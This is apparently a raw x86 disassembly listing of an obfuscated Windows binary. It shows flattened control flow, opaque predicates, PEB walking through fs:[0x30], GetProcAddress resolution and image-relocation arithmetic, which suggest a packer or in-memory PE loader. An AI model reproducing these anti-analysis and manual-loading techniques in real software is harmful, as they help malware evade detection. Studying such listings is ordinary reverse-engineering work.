mov eax, 0x1e18d4b
mov ecx, 0xe746f49
cmovne eax, ecx
jmp 0x4015f0
cmp eax, 0x9227f8c1
jg 0x403b72
cmp eax, 0x909565b5
je 0x404e67
cmp eax, 0x91360ede
jne 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov eax, dword [eax]
mov dword [ebp - 0x499b4], eax
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov dword [ebp - 0x499b8], eax
mov eax, 0xe9056bdc
jmp 0x4015f0
cmp eax, 0x9aac935
je 0x404e9b
cmp eax, 0xc1d0c47
jne 0x4015f0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x49848]
mov eax, 0x5940bf08
jmp 0x4015f0
cmp eax, 0xc9446326
je 0x404f05
cmp eax, 0xc94f0fbe
jne 0x4015f0
mov eax, 0xd87b09de
jmp 0x4015f0
cmp eax, 0x5072f5c2
je 0x404f0f
cmp eax, 0x510b3669
jne 0x4015f0
mov eax, 0x88765f3e
jmp 0x4015f0
cmp eax, 0xab5fdca0
je 0x404f2b
cmp eax, 0xab6aac54
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov ebx, 0xc9446326
mov edi, 0x5a50ab6
mov eax, dword [eax]
mov dword [ebp - 0x498d8], eax
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x4991c], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x5a50ab6
jmp 0x405478
cmp eax, 0x2755bc79
je 0x404f3c
cmp eax, 0x283e6db6
jne 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, 0xe12ab6ac
jmp 0x4015f0
cmp eax, 0xe58472bf
je 0x404f4c
cmp eax, 0xe71a4b9f
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x8745fed7
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xe16aec99
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x49868]
jmp 0x40565a
cmp eax, 0x684fd5e6
je 0x404f78
cmp eax, 0x689d7e8d
jne 0x4015f0
mov eax, dword [ebp - 0x49874]
push dword [ebp - 0x498f4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x49850]
mov dword [ecx], eax
mov eax, 0x3a853cb2
jmp 0x4015f0
cmp eax, 0x8706ec3e
je 0x404fb7
cmp eax, 0x8745fed7
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, 0xe16aec99
jmp 0x4015f0
cmp eax, 0x1e18d4b
je 0x404ff2
cmp eax, 0x1f4ebd0
jne 0x4015f0
mov eax, dword [ebp - 0x49828]
mov edi, 0x12d2aefa
mov ebx, 0x28817f54
mov dword [eax], 7
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x28817f54
jmp 0x404de7
cmp eax, 0xc7019f10
je 0x405008
cmp eax, 0xc706f467
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov edi, 0x6d88542d
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49868]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x49830]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x49894]
mov dword [ecx], eax
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x684fd5e6
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x49850]
mov eax, dword [ebp - 0x49868]
mov eax, dword [eax]
mov edi, dword [ebp - 0x49830]
mov edi, dword [edi]
lea eax, [eax + edi*4]
mov dword [ebp - 0x499a0], eax
jmp 0x40438f
cmp eax, 0x46939ba3
je 0x40502c
cmp eax, 0x46e6b9a1
jne 0x4015f0
mov eax, 0x84f51af0
jmp 0x4015f0
cmp eax, 0xa1d6a943
je 0x405044
cmp eax, 0xa37b6516
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x6512282b
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xca06fb13
jmp 0x404381
cmp eax, 0x1e6067a5
je 0x40504e
cmp eax, 0x2033e3f0
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0xe23660d1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x49d65628
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4982c]
cmovge eax, edi
jmp 0x4015f0
cmp eax, 0xe12ab6ac
je 0x405058
cmp eax, 0xe16aec99
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x8745fed7
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xd9ce934f
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov dword [ebp - 0x49998], eax
jmp 0x40565a
cmp eax, 0x788985e0
je 0x4050b7
cmp eax, 0x7986be0f
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x8c71826
mov edi, 0xa060f634
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa060f634
jmp 0x4015d3
cmp eax, 0x94b1e599
je 0x4050c7
cmp eax, 0x97df95d2
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x510b3669
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa0908e12
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x498a8]
cmp ecx, 0xa
cmovge eax, edx
inc edi
mov dword [ebp - 0x49948], edi
jmp 0x4015f0
cmp eax, 0x140e012f
je 0x4050e0
cmp eax, 0x151a8425
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49820]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x4989c]
mov dword [ecx], eax
mov eax, 0x3709f79
jmp 0x4015f0
cmp eax, 0xd09d75be
je 0x405103
cmp eax, 0xd0f9470a
jne 0x4015f0
mov eax, dword [ebp - 0x49840]
mov eax, 0x9ec334e9
jmp 0x4015f0
cmp eax, 0x5b4e7e35
je 0x405127
cmp eax, 0x5b66ea49
jne 0x4015f0
mov eax, dword [ebp - 0x49868]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49830]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x4999c], eax
mov eax, 0x80b73833
jmp 0x4015f0
cmp eax, 0xb536cc8a
je 0x40514d
cmp eax, 0xb55f9b35
jne 0x4015f0
mov eax, dword [ebp - 0x498a0]
mov eax, 0x67fe9532
jmp 0x4015f0
cmp eax, 0x2e1aee1c
je 0x405185
cmp eax, 0x3031cd20
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x9bfd8116
mov edi, 0x9fbc8059
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x9fbc8059
jmp 0x4015d3
cmp eax, 0xebd52953
je 0x40518f
cmp eax, 0xec49d9d1
jne 0x4015f0
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4986c]
mov edi, 0xd3e7a6fe
mov ebx, 0x986300a3
mov dword [ecx], eax
mov eax, dword [ebp - 0x49878]
mov eax, dword [ebp - 0x4986c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x49878]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4987c]
mov eax, dword [ebp - 0x49878]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4987c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov dword [ebp - 0x499bc], eax
mov eax, dword [ebp - 0x4986c]
mov eax, dword [eax]
add eax, 8
mov dword [ebp - 0x499c0], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x986300a3
jmp 0x40538d
cmp eax, 0x66b4341f
je 0x4051a5
cmp eax, 0x670cf8ee
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x4f1b6b2b
mov edi, 0xa5b5f45d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa5b5f45d
jmp 0x4015d3
cmp eax, 0x82d92cca
je 0x4051d1
cmp eax, 0x840e5632
jne 0x4015f0
mov eax, 0x7a9697d8
jmp 0x4015f0
cmp eax, 0xfddf7945
je 0x4051db
cmp eax, 0xfe248c92
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0xa744e07a
mov edi, 0xdff7cf89
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xdff7cf89
jmp 0x4015d3
cmp eax, 0xc3cbb1a1
je 0x4051e5
cmp eax, 0xc443a380
jne 0x4015f0
mov eax, dword [ebp - 0x49920]
mov eax, dword [eax]
mov dword [ebp - 0x49924], eax
mov eax, dword [ebp - 0x498b8]
mov eax, dword [eax]
mov dword [ebp - 0x49928], eax
mov eax, 0xcbf5867c
jmp 0x4015f0
cmp eax, 0x42d539ff
je 0x4051ef
cmp eax, 0x4435a9a1
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x76c30694
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xc98a3eda
jmp 0x40564d
cmp eax, 0x9f7c061c
je 0x405205
cmp eax, 0x9fbc8059
jne 0x4015f0
mov eax, dword [ebp - 0x49834]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49834]
inc eax
mov dword [ecx], eax
mov eax, 0x9bfd8116
jmp 0x4015f0
cmp eax, 0x1c37b109
je 0x405228
cmp eax, 0x1d2554f2
jne 0x4015f0
mov eax, 0x1ff9825
jmp 0x4015f0
cmp eax, 0xdc0abdc7
je 0x405232
cmp eax, 0xdc10d532
jne 0x4015f0
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49840]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0x498e4]
push dword [ebp - 0x498e0]
vzeroupper
call fcn.0043b020
add esp, 0xc
mov eax, dword [0x4ad3e8]
mov edi, 0xfce8365e
mov ebx, 0xb536cc8a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xb536cc8a
jmp 0x404ddf
cmp eax, 0x720df49f
je 0x405277
cmp eax, 0x747d6a5f
jne 0x4015f0
mov eax, 0x123a9665
jmp 0x4015f0
cmp eax, 0x931b9775
je 0x405281
cmp eax, 0x93769177
jne 0x4015f0
mov eax, dword [ebp - 0x4982c]
mov eax, 0xc804fb81
jmp 0x4015f0
cmp eax, 0x123a9665
je 0x405291
cmp eax, 0x12d2aefa
jne 0x4015f0
mov eax, 0x456558c5
jmp 0x4015f0
cmp eax, 0xcbf5867c
je 0x4052b8
cmp eax, 0xccfbcdc4
jne 0x4015f0
mov eax, dword [ebp - 0x4991c]
add eax, 0x1c
mov dword [ebp - 0x498dc], eax
mov eax, 0xedc10746
jmp 0x4015f0
cmp eax, 0x58d6cdd3
je 0x4052ee
cmp eax, 0x590cefc7
jne 0x4015f0
mov eax, 0x52972e63
jmp 0x4015f0
cmp eax, 0xaee7f026
je 0x405314
cmp eax, 0xaf701b5f
jne 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x49830]
mov eax, 0x1e6067a5
jmp 0x4015f0
cmp eax, 0x28da9e98
je 0x40532d
cmp eax, 0x29d96dac
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x599e181f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xfac0411f
jmp 0x404e32
cmp eax, 0xe9cdd927
je 0x40536b
cmp eax, 0xea12e890
jne 0x4015f0
mov eax, 0xa7deccf7
jmp 0x4015f0
cmp eax, 0x6cfd6410
je 0x4053ac
cmp eax, 0x6d88542d
jne 0x4015f0
mov eax, 0xb6ae9e62
jmp 0x4015f0
cmp eax, 0x8ab447fb
je 0x4053c2
cmp eax, 0x8bf8d594
jne 0x4015f0
mov eax, 0x11e26fbd
jmp 0x4015f0
cmp eax, 0x433574b
je 0x405425
cmp eax, 0x5a50ab6
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49820]
mov eax, 0xab6aac54
jmp 0x4015f0
cmp eax, 0xc7f9aa8d
je 0x40543e
cmp eax, 0xc804fb81
jne 0x4015f0
mov eax, dword [ebp - 0x4989c]
mov eax, 0x22e0fe82
jmp 0x4015f0
cmp eax, 0x49d65628
je 0x405448
cmp eax, 0x4a29ebed
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x46852e7c
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x479ba798
jmp 0x40564d
cmp eax, 0xa744e07a
je 0x40549d
cmp eax, 0xa7deccf7
jne 0x4015f0
mov eax, dword [ebp - 0x49940]
add eax, dword [ebp - 0x49944]
mov dword [ebp - 0x498e0], eax
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49840]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x14]
lea ecx, [ebp - 0x49810]
add eax, ecx
mov dword [ebp - 0x498e4], eax
mov eax, 0x5b4e7e35
jmp 0x4015f0
cmp eax, 0x22e0fe82
je 0x4054b6
cmp eax, 0x23158d69
jne 0x4015f0
mov eax, 0xc03e7033
jmp 0x4015f0
cmp eax, 0xe32a4638
je 0x4054c0
cmp eax, 0xe3438475
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0x5940bf08
mov ebx, 0xc1d0c47
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc1d0c47
jmp 0x40538d
cmp eax, 0x7c093daa
je 0x4054ca
cmp eax, 0x7c4f16a9
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0xe79eede3
mov edi, 0x9d5b311c
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x9d5b311c
jmp 0x4015d3
cmp eax, 0x9ae2c0d7
je 0x4054f1
cmp eax, 0x9bfd8116
jne 0x4015f0
mov eax, dword [ebp - 0x49834]
mov edi, 0xe32a4638
mov ebx, 0x9fbc8059
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49834]
inc eax
mov dword [ecx], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x9fbc8059
jmp 0x40538d
cmp eax, 0x1788fb7d
je 0x405521
cmp eax, 0x1a89c2bc
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0xe3638d4a
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2351d731
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x4982c]
mov eax, dword [eax]
mov dword [ebp - 0x49978], eax
jmp 0x40438f
cmp eax, 0xd69c653a
je 0x40552b
cmp eax, 0xd82334a2
jne 0x4015f0
mov eax, dword [ebp - 0x49960]
mov edx, 0xa37b6516
mov ecx, eax
xor ecx, 0xfffffffc
test ecx, eax
mov eax, 0xa5bd8f2e
cmove eax, edx
jmp 0x4015f0
cmp eax, 0x5dac0942
je 0x405541
cmp eax, 0x5e47c0b6
jne 0x4015f0
cmp dword [ebp - 0x499b0], 0
mov eax, 0xbb13508d
mov ecx, 0x140e012f
cmovns eax, ecx
jmp 0x4015f0
cmp eax, 0xb8184050
je 0x40557c
cmp eax, 0xb871f7ee
jne 0x4015f0
mov eax, 0xf1a8b562
mov dword [ebp - 0x498d4], 1
jmp 0x4015f0
cmp eax, 0x3a1ec9a0
je 0x405586
cmp eax, 0x3a853cb2
jne 0x4015f0
mov eax, dword [ebp - 0x49874]
push dword [ebp - 0x498f4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x49850]
mov edi, 0x5b982f9f
mov dword [ecx], eax
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x689d7e8d
jmp 0x404381
cmp eax, 0xf087c5c0
je 0x405590
cmp eax, 0xf134281f
jne 0x4015f0
mov eax, dword [ebp - 0x49830]
mov eax, dword [eax]
mov dword [ebp - 0x49860], eax
mov eax, 0xab2d11ef
jmp 0x4015f0
cmp eax, 0x6512282b
je 0x40559a
cmp eax, 0x6626dc10
jne 0x4015f0
cmp dword [ebp - 0x499ac], 0
mov eax, 0xba7e7e91
mov ecx, 0x140e012f
cmove eax, ecx
jmp 0x4015f0
cmp eax, 0x82414d07
je 0x4055ce
cmp eax, 0x82828887
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0xa4979c07
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xdc411dfa
jmp 0x40564d
cmp eax, 0xfce8365e
je 0x4055e7
cmp eax, 0xfd9a651a
jne 0x4015f0
mov eax, dword [ebp - 0x498f0]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x49890]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x49844]
mov eax, dword [ebp - 0x4982c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49844]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x49870]
mov eax, 0x3a95a760
jmp 0x4015f0
cmp eax, 0xc03e7033
je 0x4055f1
cmp eax, 0xc21a5721
jne 0x4015f0
mov eax, 0xb13dc8bf
jmp 0x4015f0
cmp eax, 0x40816ca2
je 0x405620
cmp eax, 0x42609c72
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0x8163d1f7
mov edi, 0xdaea5af8
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xdaea5af8
jmp 0x4015d3
cmp eax, 0x9dfef50b
je 0x405664
cmp eax, 0x9ec334e9
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x909565b5
jmp 0x404e78
cmp eax, 0x1ba02036
je 0x40567a
cmp eax, 0x1c08a357
jne 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov edi, 0xacb4e073
mov ebx, 0x5dac0942
mov dword [eax], 0x40
mov eax, dword [ebp - 0x49824]
mov eax, dword [ebp - 0x49838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49834]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x49824]
mov dword [ecx], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x5dac0942
jmp 0x40538d
cmp eax, 0xdaea5af8
je 0x405732
cmp eax, 0xdc01dc8d
jne 0x4015f0
push eax
mov eax, esp
mov dword [ebp - 0x498b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x49820], eax
push eax
mov eax, esp
mov dword [ebp - 0x49828], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x498b8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x498bc], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x49854], eax
push eax
mov eax, esp
mov dword [ebp - 0x4981c], eax
push eax
mov eax, esp
mov dword [ebp - 0x498c8], eax
mov eax, 0x2a7e27dd
jmp 0x4015f0
cmp eax, 0x70698d7e
je 0x405748
cmp eax, 0x71e8a5ea
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0xfd9a651a
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x3a95a760
jmp 0x404e32
cmp eax, 0x9227f8c2
je 0x405764
cmp eax, 0x92b01196
jne 0x4015f0
mov eax, dword [ebp - 0x49828]
mov edi, 0xc7f9aa8d
mov ebx, 0x9dfef50b
mov dword [eax], 2
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9dfef50b
jmp 0x404ddf
mov eax, dword [ebp - 0x498a0]
mov eax, dword [0x4ad3e8]
mov ebx, 0xb6ae7ab4
mov edi, 0x9ae2c0d7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x9ae2c0d7
jmp 0x405480
mov eax, dword [ebp - 0x49984]
cmp dword [eax], 0
mov eax, 0xaee7f026
setne byte [ebp - 0x49884]
jmp 0x4015f0
mov eax, dword [ebp - 0x498c0]
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov dword [ebp - 0x49988], eax
mov eax, dword [ebp - 0x49858]
mov eax, dword [eax]
mov dword [ebp - 0x4998c], eax
mov eax, dword [ebp - 0x4983c]
mov eax, dword [eax]
mov dword [ebp - 0x49990], eax
mov eax, 0xa8b30c0c
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov edi, 0x9ce4a23b
mov ebx, 0x76c30694
mov dword [eax], 0
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x76c30694
jmp 0x40538d
mov eax, dword [ebp - 0x498c4]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x49828]
mov dword [eax], 1
mov eax, dword [ebp - 0x498c4]
mov eax, dword [ebp - 0x49898]
mov eax, dword [ebp - 0x498a4]
mov eax, dword [ebp - 0x49880]
mov eax, dword [ebp - 0x49848]
mov eax, dword [ebp - 0x4987c]
mov eax, dword [ebp - 0x49878]
mov eax, dword [ebp - 0x4986c]
mov dword [ebp - 0x498d4], 0
mov eax, 0x6ebb5603
jmp 0x4015f0
cmp byte [ebp - 0x49883], 0
mov eax, 0x31b45a9c
mov ecx, 0x70698d7e
cmovne eax, ecx
jmp 0x4015f0
mov eax, 0x6626dc10
jmp 0x4015f0
mov eax, 0xc7019f10
jmp 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 7
mov eax, 0x1f4ebd0
jmp 0x4015f0
mov eax, dword [ebp - 0x49854]
mov eax, dword [ebp - 0x498ec]
mov eax, 0x6b2327e7
jmp 0x4015f0
mov eax, dword [ebp - 0x49848]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49898]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x49880]
mov ecx, dword [ebp - 0x49848]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x49880]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
lea edx, [edi + 1]
imul edx, edi
mov edi, 0x9d5b311c
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc9226109
cmovne edi, ebx
cmp edx, 0xffffffff
mov edx, edi
cmove edx, ebx
cmp ecx, 0xa
cmovge edx, edi
add eax, eax
mov word [ebp - 0x498ce], ax
mov eax, dword [ebp - 0x49848]
mov eax, dword [eax]
mov dword [ebp - 0x499c4], eax
mov eax, edx
jmp 0x4015f0
cmp byte [ebp - 0x4988b], 0
mov eax, 0x52972e63
mov ecx, 0xe3438475
cmovne eax, ecx
jmp 0x4015f0
mov eax, 0x71e8a5ea
jmp 0x4015f0
mov eax, 0x909565b5
jmp 0x4015f0
mov eax, dword [ebp - 0x49864]
mov eax, 0x29d96dac
jmp 0x4015f0
mov eax, dword [ebp - 0x49840]
mov ecx, dword [ebp - 0x49948]
mov dword [eax], ecx
mov eax, 0x94616d50
jmp 0x4015f0
mov eax, dword [ebp - 0x499a8]
mov ecx, dword [ebp - 0x4983c]
inc eax
mov dword [ecx], eax
mov eax, 0x42609c72
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov edi, 0x151a8425
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49820]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0x4989c]
mov dword [ecx], eax
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x64f2de70
jmp 0x404e32
mov eax, dword [ebp - 0x49974]
mov ecx, dword [ebp - 0x49870]
inc eax
mov dword [ecx], eax
mov eax, 0xf53d515d
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49838]
mov eax, dword [ebp - 0x49840]
mov eax, 0x13b4abf4
jmp 0x4015f0
mov eax, 0xbf6a0eca
jmp 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49820]
mov eax, 0xcd5a94b3
jmp 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, 0xdc411dfa
jmp 0x4015f0
mov eax, dword [ebp - 0x49904]
mov eax, 0x4f1b6b2b
jmp 0x4015f0
mov eax, 0x2d13e25a
jmp 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x3deca055
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4dacaff1
jmp 0x40564d
mov eax, dword [0x4ad3e8]
mov edi, 0x21d73271
mov ebx, 0x3deca055
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x3deca055
jmp 0x40538d
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49854]
mov eax, 0x49d65628
jmp 0x4015f0
mov eax, dword [ebp - 0x4986c]
mov eax, dword [0x4ad3e8]
mov ebx, 0xec49d9d1
mov edi, 0x986300a3
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x986300a3
jmp 0x4015d3
mov eax, dword [ebp - 0x49868]
mov eax, 0x4435a9a1
jmp 0x4015f0
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x4986c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49878]
mov eax, dword [ebp - 0x4986c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x49878]
mov dword [ecx], eax
